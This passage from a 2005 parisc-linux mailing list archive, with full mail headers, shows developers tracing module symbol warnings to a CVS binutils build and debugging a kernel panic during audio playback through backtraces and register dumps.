	j9KHhOr6024223; Thu, 20 Oct 2005 13:43:25 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j9KHhO2F024222;
	Thu, 20 Oct 2005 13:43:24 -0400 (EDT)
In-Reply-To: <20051020062518.GG29348@colo.lackof.org> from "Grant Grundler" at
	Oct 20, 2005 00:25:18 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: G7IlYxZyeSEkWr6WZHQhaXN1IGRvb0BW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23180

> On Wed, Oct 19, 2005 at 06:53:40PM -0400, John David Anglin wrote:
> > Ok, these are the warnings from make modules_install install:
> > 
> > if [ -r System.map -a -x /sbin/depmod ]; then /sbin/depmod -ae -F System.map  2.
> > 6.14-rc2-pa7; fi
> > WARNING: /lib/modules/2.6.14-rc2-pa7/kernel/net/ipv6/xfrm6_tunnel.ko needs unkno
> > wn symbol xfrm6_rcv_spi
> 
> To help rule out toolchain differences, I repeated building -pa7 on
> "unstable" debian using c3000_defconfig. That's using gcc v4.0.2.

The problem is caused by using cvs binutils-2.16.91 20051016.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 2.6.14-rc2-pa6 issues on C3000
Date: Thu, 20 Oct 2005 12:34:58 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <20051020183458.GA4784@colo.lackof.org>
References: <20051020062518.GG29348@colo.lackof.org>
	<200510201743.j9KHhO2F024222@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623930 16839 80.91.229.3 (22 Nov 2014 02:38:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:50 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 20 Oct 2005 18:28:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx008) with SMTP; 20 Oct 2005 20:28:13 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1B4F57D76B;
	Thu, 20 Oct 2005 12:27:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06419-01; Thu, 20 Oct 2005 12:27:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CEE8E7D762;
	Thu, 20 Oct 2005 12:27:57 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 71EAD7D75D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Oct 2005 12:27:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06180-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Oct 2005 12:27:53 -0600 (MDT)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id D749E7D75A
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 20 Oct 2005 12:27:53 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 2AEB8360003;
	Thu, 20 Oct 2005 12:35:00 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12308-02; Thu, 20 Oct 2005 12:34:58 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id BCAF6360002; Thu, 20 Oct 2005 12:34:58 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200510201743.j9KHhO2F024222@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 6YQlY9JteSEker6WZHQhaXN1IGRvb8Dx
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23181

On Thu, Oct 20, 2005 at 01:43:24PM -0400, John David Anglin wrote:
> > On Wed, Oct 19, 2005 at 06:53:40PM -0400, John David Anglin wrote:
> > > Ok, these are the warnings from make modules_install install:
> > > 
> > > if [ -r System.map -a -x /sbin/depmod ]; then /sbin/depmod -ae -F System.map  2.
> > > 6.14-rc2-pa7; fi
> > > WARNING: /lib/modules/2.6.14-rc2-pa7/kernel/net/ipv6/xfrm6_tunnel.ko needs unkno
> > > wn symbol xfrm6_rcv_spi
> > 
> > To help rule out toolchain differences, I repeated building -pa7 on
> > "unstable" debian using c3000_defconfig. That's using gcc v4.0.2.
> 
> The problem is caused by using cvs binutils-2.16.91 20051016.

Ah ok - this is currently installed on gsyprf7 (aka ios):
ii  binutils       2.16.1cvs20050 The GNU assembler, linker and binary utiliti

(debian unstable)

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Ctrl-C bug again
Date: Sat, 22 Oct 2005 01:09:02 +0200
Lines: 78
Approved: news@gmane.org
Message-ID: <7d01f9f00510211609g3cf6f223i52c0f10a20f442c3@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623931 16840 80.91.229.3 (22 Nov 2014 02:38:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:51 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Oct 2005 23:09:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx047) with SMTP; 22 Oct 2005 01:09:13 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6B81F7D704;
	Fri, 21 Oct 2005 17:09:09 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15783-04; Fri, 21 Oct 2005 17:09:09 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id BC4487D705;
	Fri, 21 Oct 2005 17:09:08 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 71A257D6ED
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 Oct 2005 17:09:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15603-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 Oct 2005 17:09:03 -0600 (MDT)
Original-Received: from nproxy.gmail.com (nproxy.gmail.com [64.233.182.206])
	by free.linux.hp.com (Postfix) with ESMTP id 885357D6DD
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 Oct 2005 17:09:03 -0600 (MDT)
Original-Received: by nproxy.gmail.com with SMTP id o60so132101nfa
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 Oct 2005 16:09:02 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition;
	b=VGhKWKfH3eZUhSDn5E6wRLF7v5QrLXHZUrOYR/YLREU0/7H7ewN5Ooh0RsisjPTqSRc1Q4/ScSWV6Umc7esJ1DZRNVVrtPvcfTxnnIVIRjlymAauIr52PzqwzQiZ45IdYPHT4dixYR4V2SX299w9FSE28JuEDwevMuv4xpGiZQI=
Original-Received: by 10.48.199.3 with SMTP id w3mr237501nff;
	Fri, 21 Oct 2005 16:09:02 -0700 (PDT)
Original-Received: by 10.48.3.18 with HTTP; Fri, 21 Oct 2005 16:09:02 -0700 (PDT)
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: TRArY59OeSEkXb6WZHQhaXN1IGRvbwDb
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23182

Pa,

I hit the damned "Ctrl-C" bug again on my j6k SMP today with mpg123,
running CVS HEAD 64bit smp: Linux version 2.6.14-rc5-pa1
(varenet@Esperanza) (gcc version 3.4.5 200508215

Backtrace:
 [<00000000102ef6cc>] copy_from_user+0x34/0x40
 [<00000000000ac8dc>] snd_pcm_lib_write_transfer+0x144/0x178 [snd_pcm]
 [<00000000000acd7c>] snd_pcm_lib_write1+0x46c/0x688 [snd_pcm]
 [<00000000000ad034>] snd_pcm_lib_write+0x9c/0x158 [snd_pcm]
 [<0000000000101414>] snd_pcm_oss_sync+0x32c/0x348 [snd_pcm_oss]
 [<0000000000102624>] snd_pcm_oss_release+0x3c/0x240 [snd_pcm_oss]
 [<00000000101b93bc>] __fput+0xe4/0x310
 [<00000000101b966c>] fput+0x84/0x90
 [<00000000101b7438>] filp_close+0x90/0xd8
 [<00000000101b7558>] sys_close+0xd8/0x110
 [<0000000010107fa8>] syscall_exit+0x0/0x14


Kernel Fault: Code=3D15 regs=3D00000000f9400880 (Addr=3D0000000000024000)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001001111111100001111 Not tainted
r00-03  0000000000000000 00000000102ef698 0000000000001e90 00000000fe16600c
r04-07  0000000000093000 0000000000022ed0 0000000000001803 0000000000021028
r08-11  00000000fc092c28 00000000000007a4 00000000000acd7c 00000000fe955ae8
r12-15  00000000000007aa 00000000000007aa 00000000000bad90 0000000000021028
r16-19  00000000000981a0 0000000000000000 00000000000ad034 0000000000000000
r20-23  0000000000000000 0000000000000000 0000000000000000 0000000000024000
r24-27  0000000000000d70 00000000fe16713c 000000000000001f 0000000010575000
r28-31  000000000000f480 0000000000022ed0 00000000f9400880 00000000fe16600c
sr0-3   00000000002f2000 0000000000000000 0000000000000000 0000000000412800
sr4-7   0000000000000000 0000000000000000 0000000000000000 0000000000000000

      VZOUICununcqcqcqcqcqcrmunTDVZOUI
FPSR: 00000000000000000000000000000000
FPER1: 00000000
fr00-03  0000000000000000 0000000000000000 0000000000000000 000000000000000=
0
fr04-07  0000000010575000 00000000ff8fb000 0000000000000020 fffffffffffffc1=
8
fr08-11  0000000000000000 0000000000000802 0000000000000000 000000001057500=
0
fr12-15  00000000ff8fb000 0000000014a23ac4 ffffffffffffffe8 0000000014a23ac=
0
fr16-19  0000000014a23ad0 0000000010575000 0000000000000000 000000001057500=
0
fr20-23  000f000000000000 0000000000000802 0000000000000000 000000000000002=
0
fr24-27  0000000000000000 0000000000000802 00000000101b6d98 00000000105c500=
0
fr28-31  00000000ff8fb000 0000000000000802 0000000000000000 00000000ff8fcbc=
0

IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000102ef238 00000000102e=
f23c
 IIR: 0ee850b6    ISR: 0000000000000000  IOR: 0000000000024000
 CPU:        1   CR30: 00000000f9400000 CR31: 0000000080000000
 ORIG_R28: 0000000000093000
 IAOQ[0]: pa_memcpy+0x88/0x2b0
 IAOQ[1]: pa_memcpy+0x8c/0x2b0
 RP(r2): 0x1e90
Kernel panic - not syncing: Kernel Fault

HTH

T-Bone

--
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Ctrl-C bug again
Date: Fri, 21 Oct 2005 20:22:44 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <20051022002244.GB18007@tachyon.int.mcmartin.ca>
References: <7d01f9f00510211609g3cf6f223i52c0f10a20f442c3@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623931 16847 80.91.229.3 (22 Nov 2014 02:38:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Oct 2005 00:22:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx019) with SMTP; 22 Oct 2005 02:22:34 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 776D67D6FC;
	Fri, 21 Oct 2005 18:22:28 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16039-07; Fri, 21 Oct 2005 18:22:28 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B07F37D700;
	Fri, 21 Oct 2005 18:22:27 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D8C937D6F5
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 Oct 2005 18:22:23 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16130-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 Oct 2005 18:22:23 -0600 (MDT)
Original-Received: from fattire.cabal.ca (fattire.cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id CD2877D6F0
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 21 Oct 2005 18:22:22 -0600 (MDT)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 3225517088;
	Fri, 21 Oct 2005 20:22:21 -0400 (EDT)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19640-04; Fri, 21 Oct 2005 20:22:21 -0400 (EDT)
Original-Received: by fattire.cabal.ca (Postfix, from userid 1000)
	id E950D17089; Fri, 21 Oct 2005 20:22:20 -0400 (EDT)
X-IMAP-Sender: kyle
X-OfflineIMAP-x193674050-52656d6f746546617454697265-494e424f582e4f7574626f78: 1129940591-0440402702942-v4.0.11
Content-Disposition: inline
In-Reply-To: <7d01f9f00510211609g3cf6f223i52c0f10a20f442c3@mail.gmail.com>
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: HOMrY1cneSEkYb6WZHQhaXN1IGRvb8CE
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23183

On Sat, Oct 22, 2005 at 01:09:02AM +0200, Thibaut VARENE wrote:
>  IIR: 0ee850b6    ISR: 0000000000000000  IOR: 0000000000024000
>  CPU:        1   CR30: 00000000f9400000 CR31: 0000000080000000
>  ORIG_R28: 0000000000093000
>  IAOQ[0]: pa_memcpy+0x88/0x2b0
>  IAOQ[1]: pa_memcpy+0x8c/0x2b0
>  RP(r2): 0x1e90
> Kernel panic - not syncing: Kernel Fault
>

I wonder... was snd-ad1889/alsa a module? 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <T-Bone@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Ctrl-C bug again
Date: Sun, 23 Oct 2005 01:09:18 +0200
Lines: 94
Approved: news@gmane.org
Message-ID: <7d01f9f00510221609q598c2f8m2281f54421c84f73@mail.gmail.com>
References: <7d01f9f00510211609g3cf6f223i52c0f10a20f442c3@mail.gmail.com>
	<20051022002244.GB18007@tachyon.int.mcmartin.ca>
	<7d01f9f00510220538heef8ae7od7dfa38530b3916e@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623931 16849 80.91.229.3 (22 Nov 2014 02:38:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:38:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: - Wed Jul 02 21:27:26 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Oct 2005 23:09:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx071) with SMTP; 23 Oct 2005 01:09:30 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 59C537D69A;
	Sat, 22 Oct 2005 17:09:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23972-10; Sat, 22 Oct 2005 17:09:26 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3F45F7D6BF;
	Sat, 22 Oct 2005 17:09:25 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ED97F7D64A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Oct 2005 17:09:20 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24019-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Oct 2005 17:09:20 -0600 (MDT)
Original-Received: from nproxy.gmail.com (nproxy.gmail.com [64.233.182.193])
	by free.linux.hp.com (Postfix) with ESMTP id 0DAC17D642
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Oct 2005 17:09:19 -0600 (MDT)
Original-Received: by nproxy.gmail.com with SMTP id o60so152830nfa
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 22 Oct 2005 16:09:18 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=ptzLF3UfhJcDI9y/UrfZL++6jjLjcH7MAZx6QPZlUbBgsIwj0usftOJb3EDwMf90wiDfuv2rMPSo1uC5dK+TXGYltq3MCHqlsjwRgIGZhD+rr4TwoNhwQjDtEMQnK80tAcf0BYEZyC2N3+rl8KZTCI96KxYe/GkAffpaHbCNiHw=
Original-Received: by 10.48.199.3 with SMTP id w3mr270733nff;
	Sat, 22 Oct 2005 16:09:18 -0700 (PDT)
Original-Received: by 10.48.3.18 with HTTP; Sat, 22 Oct 2005 16:09:18 -0700 (PDT)
In-Reply-To: <7d01f9f00510220538heef8ae7od7dfa38530b3916e@mail.gmail.com>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /aMoY9FKeSEkNb6WZHQhaXN1IGRvb4Ak
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23184

On 10/22/05, Thibaut VARENE <T-Bone@parisc-linux.org> wrote:
> On 10/22/05, Kyle McMartin <kyle@mcmartin.ca> wrote:
> > On Sat, Oct 22, 2005 at 01:09:02AM +0200, Thibaut VARENE wrote:
> > >  IIR: 0ee850b6    ISR: 0000000000000000  IOR: 0000000000024000
> > >  CPU:        1   CR30: 00000000f9400000 CR31: 0000000080000000
> > >  ORIG_R28: 0000000000093000
> > >  IAOQ[0]: pa_memcpy+0x88/0x2b0
> > >  IAOQ[1]: pa_memcpy+0x8c/0x2b0
> > >  RP(r2): 0x1e90
> > > Kernel panic - not syncing: Kernel Fault
> > >
> >
> > I wonder... was snd-ad1889/alsa a module?
>
> yes indeed
> I'll try again with built-in driver

here you go:

Backtrace:
 [<00000000102ef6cc>] copy_from_user+0x34/0x40
 [<00000000103b15c4>] snd_pcm_lib_write_transfer+0x144/0x178
 [<00000000103b1a64>] snd_pcm_lib_write1+0x46c/0x688
 [<00000000103b1d1c>] snd_pcm_lib_write+0x9c/0x158
 [<00000000103bb824>] snd_pcm_oss_sync+0x32c/0x348
